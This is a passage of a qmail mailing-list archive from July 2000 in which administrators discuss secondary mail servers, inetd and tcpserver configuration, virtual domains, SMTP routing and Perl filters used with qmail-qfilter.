bringing the primary server down.

Sonam Wangchuk
e: [EMAIL PROTECTED]

On Wed, 19 Jul 2000, Ben Beuchler wrote:

 On Wed, Jul 19, 2000 at 12:33:42PM -0400, [EMAIL PROTECTED] wrote:
 
  We have qmail-1.3 running and would like to set it up as the secondary
  mail server for one domain. We want this mail server to keep trying to
  forward all the mail for that domain to the primary server in case the
  primary server goes down - say for about 40 hours. This is an emergency
  for us, any help would be greatly appreciated. 
 
 Fine.  Very easy.  Set up the box as you would normally, put the domain
 it's backing up in 'rcpthosts' but not in 'locals'.  It will accept mail
 for that domain and attempt to relay it to the other server for up to a
 week.
 
 Ben
 
 -- 
 Ben Beuchler [EMAIL PROTECTED]
 MAILER-DAEMON (612)-321-9290 x101
 Bitstream Underground   www.bitstream.net
 




Re: message route to different folder for virtual domain user

2000-07-19 Thread Chester Chee


I laughed so hard after I read what I type silly me

I actually mean to have message filter to a different folder for all virtual 
domain users, i.e. each virtual domain user will have their own junkmail 
folder where qmail will automatically move those junk mail to the folder. 
Thanks in advance.


From: "Chester Chee" [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: Re: message route to different folder for virtual domain user
Date: Wed, 19 Jul 2000 16:12:35 GMT
MIME-Version: 1.0
X-Originating-IP: [199.105.186.5]
Received: from [131.193.178.181] by hotmail.com (3.2) with ESMTP id 
MHotMailBB3F1ED2000FD82197BF83C1B2B5AC620; Wed Jul 19 09:14:12 2000
Received: (qmail 14136 invoked by uid 1002); 19 Jul 2000 16:13:26 -
Received: (qmail 25411 invoked from network); 19 Jul 2000 16:13:26 -
Received: from law-f147.hotmail.com (HELO hotmail.com) (209.185.131.210)  
by muncher.math.uic.edu with SMTP; 19 Jul 2000 16:13:26 -
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; 
Wed, 19 Jul 2000 09:12:35 -0700
Received: from 199.105.186.5 by lw1fd.hotmail.msn.com with HTTP;   Wed, 19 
Jul 2000  GMT
From qmail-return-50537-ptlymcc Wed Jul 19 09:16:13 2000
Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
Precedence: bulk
Delivered-To: mailing list [EMAIL PROTECTED]
Message-ID: [EMAIL PROTECTED]
X-OriginalArrivalTime: 19 Jul 2000 16:12:35.0367 (UTC) 
FILETIME=[268D9B70:01BFF19C]

Hi,

I have qmail 1.0.3 setup running vpopmail (virtual domain). I want to setup
a filter for the entire domain to move any junk mail (base upon the 
criteria
in the header extension) to all virtual domain user. This user will access
their email via IMAP only. Is this doable? If so, can someone give me
pointer where to look? I read LWQ doc and there isn't enough info. Sample
configuration or filter code would be really helpful.

Thanks in advance.


Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com



Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com




Re: secondary mail server

2000-07-19 Thread Ben Beuchler

On Wed, Jul 19, 2000 at 01:01:11PM -0400, [EMAIL PROTECTED] wrote:

 great!! thank you so much. now i have to figure out how to test it without
 bringing the primary server down.

Just telnet to port 25 on that server from an IP that is not allowed to
relay through that server and manually send a message.  It should relay
the message to the other server.

Ben

-- 
Ben Beuchler [EMAIL PROTECTED]
MAILER-DAEMON (612)-321-9290 x101
Bitstream Underground   www.bitstream.net



very urgent :qq Truoble in home directory

2000-07-19 Thread reach_prashant



   
can any one has agot this error ?  i am shaking my heads from last 
two days  ,i have installed qmail 1-03 with qmail-ldap-2601 patch 
on test system and it has worked fine for us  ,

 but when i installed in on real production system  its giving this error 
, i dont know what  is error , 

  
  the only difference between  these installation (test and on production
system )is i have enable -DCLEARTEXTPASSWD  flag while i have installed
 qmail-ldap on test system  and on production system  
i have not enabled  

  i need to know the compilation flags that has to be turned on  to make
qmail work with  openldap's (Default installation )
bcoz as far as i know openldap by default  uses  encrypted  password 

 i have compiled qmail BY TURNING OFF  -DCLEARTEXTPASSWD

 what i have to write in my "inetd.conf" to make qmail-smtpd run under
inetd.conf  , i have gone through  the docs  but thats not working for me  

smtp  stream nowait qmaild  /var/qmail/bin/tcp-env   \
tcp-env   /var/qmail/bin/qmail-smtpd   

  what is the significance oftcp-env   and "\"  symbol
i dont know much about it and have faced lot of problems  related with "\"
in inetd.conf   in past while installing qmail-pop3d under inetd.conf on my
test system 

 please help me ASAP

 WAITING DESPERATELY FOR SOMEONES HELP   
 WITH WARMEST REGARDS 
 Prashant Desai 
  
 




qmailUID and QmailGID confused ?????

2000-07-19 Thread reach_prashant



  dear friends 

what  should i specify   as a value of "qmailUID and  qmailGID,
i have installed  qmail with qmail-ldap-2000.patch  ,

 created  system users and groups  required for qmail by INSTALL.ids
scripts  ,

which have created 
Qmaild
Qmaill
Qmailp
Qmailq
Qmailr
Qmails

and "Groups"

nofiles : 
Qmail   
  is there any othe user i need to create  , i can user same qmailUID and
same qmailGID  for  all the users that i will create in my LDAP directory
server 

   please guide me 

 with kindest regards 
Prashant Desai 


   
 
objectclass qmailUser
requires
objectclass,
mail,
uid
allows
mailMessageStore,
homeDirectory,
userPassword,
mailAlternateAddress,
qmailUID,
qmailGID,
mailQuota,
mailHost,
mailForwardingAddress,
deliveryProgramPath,
qmailDotMode,
deliveryMode,
mailReplyText,
accountStatus






multiple tcpserver's spawning

2000-07-19 Thread Ben Beuchler

Hola...

Like a good boy, I use tcpserver for all my qmail stuff.  What has me
curious is why from time to time I will see multiple copies of tcpserver
spawn.  My understanding was that as connections are made, tcpserver
just spawns the correct program, not another copy of itself.  However, I
will frequently see several copies of, say, my POP3 tcpserver running.
All with identical command lines.  If I check back later it may be back
down to just a sole instance.

Is this normal behavior?

I run both the POP3 and SMTP tcpservers from /var/qmail/rc like so:

/usr/local/bin/tcpserver -R -q -p -x /etc/smtprules/tcp.smtp.cdb -u79 \
-g1003 0 smtp /var/qmail/bin/qmail-smtpd  21  

/usr/local/bin/tcpserver -q -R -u79 -g1003 0 pop3 \
 /var/qmail/bin/qmail-popup amazhan.bitstream.net \
 /var/vpopmail/bin/vchkpw /var/qmail/bin/qmail-pop3d Maildir 

Thanks,
Ben

-- 
Ben Beuchler [EMAIL PROTECTED]
MAILER-DAEMON (612)-321-9290 x101
Bitstream Underground   www.bitstream.net



Re: routing a qmail setup

2000-07-19 Thread martin langhoff

Petr. 
true! 

of course they do know their own IPs! I had been thinking how could I
seduce one of their sysadmins to hand their dial-up IPs, and how could I
keep it sync'ed (they are growing fast). The answer was right there...
Thanks!!!


martin

Petr Novotny wrote:
 (The proper way,
 usually, is to relay through your ISP's server; they know their dialup
 netblock IP.)



Re: very urgent :qq Truoble in home directory

2000-07-19 Thread Paul Jarc

[EMAIL PROTECTED] writes:
  what i have to write in my "inetd.conf" to make qmail-smtpd run under
 inetd.conf  , i have gone through  the docs  but thats not working for me  
 
 smtp  stream nowait qmaild  /var/qmail/bin/tcp-env   \
 tcp-env   /var/qmail/bin/qmail-smtpd   

Many files allow you to split long lines across multiple lines by
ending a line with \.  inetd.conf doesn't allow this, so remove the \
and put all that on one line.


paul



qmail-inject problem

2000-07-19 Thread William D. Wilmoth

I am getting the following error when trying to mail from any user
without root access:

qmail-inject: fatal: read error

I am pretty sure that this is a permissions issue, but where???

--
William D. Wilmoth
Network Administrator
Service Transport, Inc.
Phone: (800) 528 - 1616 x226
Fax:   (931) 520 - 7185

Visit us on the web: http://www.service-transport.com





How to grab the envelope contents while filtering?

2000-07-19 Thread tibbs . joshd

Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.





http://www.unixzone.com/virus/ is down.

2000-07-19 Thread Jeremy Fowler

Anybody know where I can get the qmail compatible version of Amavis?

Thanks,
Jeremy Fowler
mailto:[EMAIL PROTECTED]



RE: How to grab the envelope contents while filtering?

2000-07-19 Thread Ihnen, David

In fooling with tcpclient I found the syntax to do this.  As I'm a perl
junky, here's a program that will read descriptor 6 and print to descriptor
7.  If you know any perl at all this should get you to where you need to be.
 
#!/usr/bin/perl

# read descriptor 6 and print it to descriptor 7

open INFILE, "6" or die "BAD IN";
open OUTFILE, "7" or die "BAD OUT";

while (INFILE) {
  print OUTFILE, $_;
}

close OUTFILE;
close INFILE;


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:20 AM
To: [EMAIL PROTECTED]
Subject: How to grab the envelope contents while filtering?


Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.




Re: secondary mail server

2000-07-19 Thread sonam


a quick question. what paramater controls the relay duration ( you
mentioned "a week" ), and how can we change it. thank you

Sonam Wangchuk
e: [EMAIL PROTECTED]

On Wed, 19 Jul 2000, Ben Beuchler wrote:

 On Wed, Jul 19, 2000 at 12:33:42PM -0400, [EMAIL PROTECTED] wrote:
 
  We have qmail-1.3 running and would like to set it up as the secondary
  mail server for one domain. We want this mail server to keep trying to
  forward all the mail for that domain to the primary server in case the
  primary server goes down - say for about 40 hours. This is an emergency
  for us, any help would be greatly appreciated. 
 
 Fine.  Very easy.  Set up the box as you would normally, put the domain
 it's backing up in 'rcpthosts' but not in 'locals'.  It will accept mail
 for that domain and attempt to relay it to the other server for up to a
 week.
 
 Ben
 
 -- 
 Ben Beuchler [EMAIL PROTECTED]
 MAILER-DAEMON (612)-321-9290 x101
 Bitstream Underground   www.bitstream.net
 




RE: Password changed via the web - big issue !!!!

2000-07-19 Thread Goran Blazic

Wow... You are all complicating this whole thing too much...

Put qmail's settings into a SQL database (MySQL for example) and you have
access from any cgi program of php/asp/ssl/... page on your web server.
Because the password you are using to access your mail is no longer a
password that can log into the system, the security risk drops
significantly. If you are woried about sniffers stealing your password...
Use SSL, if not, hey, dont... Worst case scenario... They can read your
mail... So? They can do that anyhow, if they can sniff my network traffic,
so no harm done here...

Goran

  That would require SSL.  I want the same thing.
  You would have to build a cgi, going thru ssl, calling passwd.
 It would be fairly trivial to roll your own app to do it and run it 
 thru tcpserver and stunnel.  How you actually do it depends on the



RE: How to grab the envelope contents while filtering? - syntax error

2000-07-19 Thread Ihnen, David

Provided you remove the comma from the print statement, it'll actually work
too.  ;)

David

-Original Message-
From: Ihnen, David [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:58 AM
To: '[EMAIL PROTECTED]'; [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering?


In fooling with tcpclient I found the syntax to do this.  As I'm a perl
junky, here's a program that will read descriptor 6 and print to descriptor
7.  If you know any perl at all this should get you to where you need to be.
 
#!/usr/bin/perl

# read descriptor 6 and print it to descriptor 7

open INFILE, "6" or die "BAD IN";
open OUTFILE, "7" or die "BAD OUT";

while (INFILE) {
  print OUTFILE, $_;
}

close OUTFILE;
close INFILE;


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:20 AM
To: [EMAIL PROTECTED]
Subject: How to grab the envelope contents while filtering?


Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.



RE: secondary mail server

2000-07-19 Thread Greg Owen

 a quick question. what paramater controls the relay duration ( you
 mentioned "a week" ), and how can we change it. thank you

/var/qmail/control/queuelifetime

man qmail-control

I'm shamelessly cribbing from Petr's post that came all of 4 hours
ago.

-- 
gowen -- Greg Owen -- [EMAIL PROTECTED]




Re: Defining as local and not remote

2000-07-19 Thread Dave Sill

Robert Spraggs [EMAIL PROTECTED] wrote:

I was thinking( I know a dangerous concept :-)  ) would putting the 
following in the tcp.smtp.cbd file be as effective:
127.0.0.1:allow
199.175.103.1:allow   --- the IP of the mail host ---

That would make sure that only local messages would be delivered, right?

Assuming you really meant tcp.smtp, that you include a ":deny" line at
the end, and that you don't want *any* remote systems to contact the
mail host via SMTP, yes.

-Dave



Re: | preline procmail

2000-07-19 Thread Dave Sill

"Devinder" [EMAIL PROTECTED] wrote:

I have added | preline procmail in my ~user/.qmail file
When the the new mail arrives procmail is spawned and the mail is processed
and sento the appropriate folder
However everyone who has logged into the machine get a warning..
***
ourserv procmail[21174]: Couldn't rename bogus "/var/spool/mail/anand" into
"/var/spool/mail/BOGUS.Y5eB"
***
Now why is this happening.. As i can make out this is a typical sendmail
response to a ln in /var/spool/mail/user.. How do i disable this .. We are
using procmail v3.11pre7.

No, this has nothing to do with sendmail. It's a procmail thing. I
think it has something to do with locking, but I'm not
sure. Personally, I don't believe in the "links in /var/spool/mail"
thing. Better to convince the mailer to look for the mailbox where it
really lives.

But if you really want to fix this problem, contact a procmail expert.

-Dave



Re: several mail domains on one machine

2000-07-19 Thread Dave Sill

Thomas Haberland [EMAIL PROTECTED] wrote:

Sample:
   mail.one.com(users A, B, C)
   mail.two.com(users D, E, F)
   mail.three.de   (users G, H and A, D)

Of course a mail to "[EMAIL PROTECTED]" is not allowed, and so on. Any mail domai
has it own user base.

Qmail is installed and seems to run fine. But no matter what I tried I ca
send mail to user A in any configured domain, not only to [EMAIL PROTECTED]

Make two or all three of the domains virtual. Right now, you're
trating them all as local (in control/locals) so they share the same
username space. If you, for example, remove mail.two.com from locals
(but leave it in rcphosts) and add line to control/virtualdomains
like:

  mail.two.com:alias-two

Then ~alias/.qmail-two-d, ~alias/.qmail-two-e, ~alias/.qmail-two-f,
etc. can be used to file or redirect mail to [EMAIL PROTECTED], etc.

-Dave



Re: Please help me out on this

2000-07-19 Thread Dave Sill

"Hitesh Thakkar" [EMAIL PROTECTED] wrote:

1. I have IBM's WEBSPHERE with EJB and servelts in JAVA applets developed in
JDK 1.1.6. I can use JAVA MAIL API to write mail message for specific users
as per the logic in java scripts. I am stuck with how can invoke QMAIL so
that, it delivers a load of 100 to 1000 mail receipents as a time.

Assuming the message to all recipients is identical, you could list
the recipients in a .qmail file and send the message once to the
controlling address. Or you could list them in the To/CC/BCC header
fields and inject via "sendmail -f".

2. It may be possible to start executing some scripts or commands moment the
specific mail address is received by QMAIL.

Sure, put the scripts/commands in a .qmail file.

Sy [EMAIL PROTECTED] is the mail address will be used by application
so that, moment it is received it will take the necessary values from mail
content and will start application to update it as new bid value in purchase
order database.

So,qmail has to remove domain address part from email address of receipent
and take the user name part i.e. alert-newpo. Start the action of say java
Main.update_bidvalue_po.class script/program which will insert new value as
per the mail only after confirming that, sender e-mail address is valid.

Please can you help me with this kind of functionality that can be used
using Qmail. I come to know that, it is possible in SENDMAIL using aliases
but that is very combersome and I don't want to use sendmail just for that.

What you describe sounds like it'd be straightforward to accomplish
via a .qmail file, but I'd have to see a more concrete example to be
sure.

-Dave



Re: qmail-inject problem

2000-07-19 Thread Dave Sill

"William D. Wilmoth" [EMAIL PROTECTED] wrote:

I am getting the following error when trying to mail from any user
without root access:

qmail-inject: fatal: read error

I am pretty sure that this is a permissions issue, but where???

Run qmail-inject via a system call tracer (strace/truss/par/etc.) to
where it's failing.

-Dave



AMaViS (was: http://www.unixzone.com/virus/ is down.)

2000-07-19 Thread Magnus Bodin

On Wed, Jul 19, 2000 at 01:52:20PM -0500, Jeremy Fowler wrote:
 Anybody know where I can get the qmail compatible version of Amavis?

It's not down. 

But please note that development has moved to SourceForge. 
You can access the project page there 
  http://sourceforge.net/project/?group_id=6006

or visit the AMaViS home page 
  http://www.amavis.org/

/magnus

--
http://x42.com/



Re: Urgent Help Needed

2000-07-19 Thread asantos

From: Steven M. Klass [EMAIL PROTECTED]
Now every once in awhile a really slick idea comes about...  Great idea,
because then you can telnet in to any port and verify functionality of the
pop checkpasswd  Cool :o)


Well, thank you for the appraisal! :)

In fact, I was thinking not strictly in terms of telnet (tough it can be
used, of course) but of Outlook Express, as per Tony's original message. OE
supports specifying non-standard ports for POP and SMTP service. fetchmail,
and many MUAs also do support this.

Armando








RE: How to grab the envelope contents while filtering? - syntax error

2000-07-19 Thread tibbs . joshd


OK, so I tried this:

#!/usr/bin/perl

if ($#ARGV != 0) {
die "Usage:  $0 outputfile\n";
}

open (INFD, "1") or die "BAD FD IN";
open (OUTFILE, "$ARGV[0]") or die "BAD FILE OUT";
# open (OUTFD, "1") or die "BAD FD OUT";

while (INFD) {
  print OUTFILE "$_";
#  print OUTFD "$_";
}

close (OUTFILE);
close (INFD);
# close (OUTFD);

I tried as is and with the commented lines enabled (just to be sure I didn't step on 
my input for some silly reason). I still end up with a 0 byte
output file, same as
using redirection in the shell. The more I think about it, I'm almost certain that my 
script does not have access to this data (so to speak) when run
via qmail-qfilter.

I think it's time to go back to the drawing board and go dig in the qmail-qfilter 
source. Any more ideas, concurrences, disagreements, etc?

Thanks,
Josh





"Ihnen, David" [EMAIL PROTECTED] on 07/19/2000 03:02:08 PM

To:   "Ihnen, David" [EMAIL PROTECTED], "'[EMAIL PROTECTED]'"
  [EMAIL PROTECTED], [EMAIL PROTECTED]
cc:
Subject:  RE: How to grab the envelope contents while filtering? - syntax e
  rror


Provided you remove the comma from the print statement, it'll actually work
too.  ;)

David

-Original Message-
From: Ihnen, David [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:58 AM
To: '[EMAIL PROTECTED]'; [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering?


In fooling with tcpclient I found the syntax to do this.  As I'm a perl
junky, here's a program that will read descriptor 6 and print to descriptor
7.  If you know any perl at all this should get you to where you need to
be.

#!/usr/bin/perl

# read descriptor 6 and print it to descriptor 7

open INFILE, "6" or die "BAD IN";
open OUTFILE, "7" or die "BAD OUT";

while (INFILE) {
  print OUTFILE, $_;
}

close OUTFILE;
close INFILE;


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:20 AM
To: [EMAIL PROTECTED]
Subject: How to grab the envelope contents while filtering?


Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.



 $RFC822.eml


Re: How to grab the envelope contents while filtering?

2000-07-19 Thread asantos

From: [EMAIL PROTECTED] [EMAIL PROTECTED]
I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?


Have a look at http://cr.yp.to/mess822.html , the 822header utility could be
what you need.

Armando





Routing mail for a specific domain

2000-07-19 Thread Enrique Vadillo

I'm using qmail-1.03.

I've routed all outgoing mail thru a very big smtp relay, but i would like
to be able to route mail targeted to a specific domain - say @DOMAIN.COM -
thru a different smtp relay, is this possible?

Thanks!

Enrique-



Re: How to grab the envelope contents while filtering?

2000-07-19 Thread tibbs . joshd


Yup, I use the mess822 stuff too, but I need envelope addresses, not header
addresses.

I see now that qmail-qfilter 1.3 sets QMAILRCPTS to the message recipients.
I assume this is envelope recipients. If so, I'm halfway there. I just need
to doctor up 1.3 a little bit to also pass a variable for envelope sender
(and to drop empty messages). Can anyone confirm?

Josh





"asantos" [EMAIL PROTECTED] on 07/19/2000 05:30:32 PM

To:   [EMAIL PROTECTED], [EMAIL PROTECTED]
cc:
Subject:  Re: How to grab the envelope contents while filtering?


From: [EMAIL PROTECTED] [EMAIL PROTECTED]
I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?


Have a look at http://cr.yp.to/mess822.html , the 822header utility could
be
what you need.

Armando





 $RFC822.eml


RE: How to grab the envelope contents while filtering?

2000-07-19 Thread Ihnen, David

MAN PAGE ALERT
(from qmail-qfilter page)

   qmail-qfilter sends the message text through each  of  the
   filter commands named on the command line.  Each filter is
   run seperately, with __standard input__ opened  to  the  input
   email,  and __standard output__ opened to a new temporary file
   that will become the input to either the next  filter,  or
   qmail-queue.  Each filter on the command line in seperated
   with --.

With this data in mind, I made a little script that does some censoring

--- qmail-qfilter myfilter.pl -- qmail-inject -n ---
--
#!/usr/bin/perl

while () {
  s/fuck/fsck/i;
  print $_;
}
--

David

PS - I'm concerned that with this qmail-inject thing going on that multiple
recipients might get multiple copies - but then I haven't read the
documentation enough to clarify that in my head.  Would a relayed message to
multiple recipients have those other recipients re-qualified as
undelivered-to and hence would get multiple copies?  Somebody knows, I'm
sure.

-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 1:16 PM
To: Ihnen, David
Cc: [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering? - syntax
error



OK, so I tried this:

#!/usr/bin/perl

if ($#ARGV != 0) {
die "Usage:  $0 outputfile\n";
}

open (INFD, "1") or die "BAD FD IN";
open (OUTFILE, "$ARGV[0]") or die "BAD FILE OUT";
# open (OUTFD, "1") or die "BAD FD OUT";

while (INFD) {
  print OUTFILE "$_";
#  print OUTFD "$_";
}

close (OUTFILE);
close (INFD);
# close (OUTFD);

I tried as is and with the commented lines enabled (just to be sure I didn't
step on my input for some silly reason). I still end up with a 0 byte
output file, same as
using redirection in the shell. The more I think about it, I'm almost
certain that my script does not have access to this data (so to speak) when
run
via qmail-qfilter.

I think it's time to go back to the drawing board and go dig in the
qmail-qfilter source. Any more ideas, concurrences, disagreements, etc?

Thanks,
Josh





"Ihnen, David" [EMAIL PROTECTED] on 07/19/2000 03:02:08 PM

To:   "Ihnen, David" [EMAIL PROTECTED], "'[EMAIL PROTECTED]'"
  [EMAIL PROTECTED], [EMAIL PROTECTED]
cc:
Subject:  RE: How to grab the envelope contents while filtering? - syntax e
  rror


Provided you remove the comma from the print statement, it'll actually work
too.  ;)

David

-Original Message-
From: Ihnen, David [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:58 AM
To: '[EMAIL PROTECTED]'; [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering?


In fooling with tcpclient I found the syntax to do this.  As I'm a perl
junky, here's a program that will read descriptor 6 and print to descriptor
7.  If you know any perl at all this should get you to where you need to
be.

#!/usr/bin/perl

# read descriptor 6 and print it to descriptor 7

open INFILE, "6" or die "BAD IN";
open OUTFILE, "7" or die "BAD OUT";

while (INFILE) {
  print OUTFILE, $_;
}

close OUTFILE;
close INFILE;


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:20 AM
To: [EMAIL PROTECTED]
Subject: How to grab the envelope contents while filtering?


Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.





Re: Routing mail for a specific domain

2000-07-19 Thread Ronny Haryanto

On 19-Jul-2000, Enrique Vadillo wrote:
 I've routed all outgoing mail thru a very big smtp relay, but i would like
 to be able to route mail targeted to a specific domain - say @DOMAIN.COM -
 thru a different smtp relay, is this possible?

Yes. Look for smtproutes in qmail-remote man page.

Ronny



RE: Routing mail for a specific domain

2000-07-19 Thread Ihnen, David

/var/qmail/control/smtproutes

David


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 2:11 PM
To: [EMAIL PROTECTED]
Subject: Routing mail for a specific domain


I'm using qmail-1.03.

I've routed all outgoing mail thru a very big smtp relay, but i would like
to be able to route mail targeted to a specific domain - say @DOMAIN.COM -
thru a different smtp relay, is this possible?

Thanks!

Enrique-



RE: How to grab the envelope contents while filtering?

2000-07-19 Thread tibbs . joshd


This is fine. I think the qmail-inject might be overkill, but does no harm.
With the -n, it merely prints the message (with some headers tidied up if
need be), which is then pumped into qmail-queue. The recipients are coming
from the envelope (the fd 1 magic that I'm trying to figure out), not from
the header. Therefore, no extra or double recipients.

Your concern is my reality :(. When an administrator needs to resubmit a
message that was stopped by the filter, we need to reconstruct the envelope
as it was at the time that the message was stopped. Now, if I just inject
the message, it's gonna go out to everybody in the header all over again.

Josh




"Ihnen, David" [EMAIL PROTECTED] on 07/19/2000 05:19:57 PM

To:   "'[EMAIL PROTECTED]'" [EMAIL PROTECTED],
  "'[EMAIL PROTECTED]'" [EMAIL PROTECTED]
cc:
Subject:  RE: How to grab the envelope contents while filtering?


MAN PAGE ALERT
(from qmail-qfilter page)

   qmail-qfilter sends the message text through each  of  the
   filter commands named on the command line.  Each filter is
   run seperately, with __standard input__ opened  to  the  input
   email,  and __standard output__ opened to a new temporary file
   that will become the input to either the next  filter,  or
   qmail-queue.  Each filter on the command line in seperated
   with --.

With this data in mind, I made a little script that does some censoring

--- qmail-qfilter myfilter.pl -- qmail-inject -n ---
--
#!/usr/bin/perl

while () {
  s/fuck/fsck/i;
  print $_;
}
--

David

PS - I'm concerned that with this qmail-inject thing going on that multiple
recipients might get multiple copies - but then I haven't read the
documentation enough to clarify that in my head.  Would a relayed message
to
multiple recipients have those other recipients re-qualified as
undelivered-to and hence would get multiple copies?  Somebody knows, I'm
sure.

-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 1:16 PM
To: Ihnen, David
Cc: [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering? - syntax
error



OK, so I tried this:

#!/usr/bin/perl

if ($#ARGV != 0) {
die "Usage:  $0 outputfile\n";
}

open (INFD, "1") or die "BAD FD IN";
open (OUTFILE, "$ARGV[0]") or die "BAD FILE OUT";
# open (OUTFD, "1") or die "BAD FD OUT";

while (INFD) {
  print OUTFILE "$_";
#  print OUTFD "$_";
}

close (OUTFILE);
close (INFD);
# close (OUTFD);

I tried as is and with the commented lines enabled (just to be sure I
didn't
step on my input for some silly reason). I still end up with a 0 byte
output file, same as
using redirection in the shell. The more I think about it, I'm almost
certain that my script does not have access to this data (so to speak) when
run
via qmail-qfilter.

I think it's time to go back to the drawing board and go dig in the
qmail-qfilter source. Any more ideas, concurrences, disagreements, etc?

Thanks,
Josh





"Ihnen, David" [EMAIL PROTECTED] on 07/19/2000 03:02:08 PM

To:   "Ihnen, David" [EMAIL PROTECTED], "'[EMAIL PROTECTED]'"
  [EMAIL PROTECTED], [EMAIL PROTECTED]
cc:
Subject:  RE: How to grab the envelope contents while filtering? - syntax e
  rror


Provided you remove the comma from the print statement, it'll actually work
too.  ;)

David

-Original Message-
From: Ihnen, David [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:58 AM
To: '[EMAIL PROTECTED]'; [EMAIL PROTECTED]
Subject: RE: How to grab the envelope contents while filtering?


In fooling with tcpclient I found the syntax to do this.  As I'm a perl
junky, here's a program that will read descriptor 6 and print to descriptor
7.  If you know any perl at all this should get you to where you need to
be.

#!/usr/bin/perl

# read descriptor 6 and print it to descriptor 7

open INFILE, "6" or die "BAD IN";
open OUTFILE, "7" or die "BAD OUT";

while (INFILE) {
  print OUTFILE, $_;
}

close OUTFILE;
close INFILE;


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 11:20 AM
To: [EMAIL PROTECTED]
Subject: How to grab the envelope contents while filtering?


Hi all,

I'm using a content filter shell script that I've written (based on inflex)
with qmail-qfilter. During this filter process, I'd like to grab the
contents of the envelope and store them in a file for use later (ie,
reconstructing the envelope for an inject).

I've toyed with trying to pipe fd 1 into a file without success. I know
that this has to be doable with a small C program, but quite honestly, I
don't have the familiarity with C to do it. Can it be done with Perl? In
the shell? Is it as simple as reading fd1, writing a file, and re-writing
fd1?

Any ideas on how I can accomplish this?

Some details:

qmail 1.03
qmail-qfilter 1.0
Redhat 6.2


Thanks in advance for any help,
Josh Tibbs
Kendle International Inc.





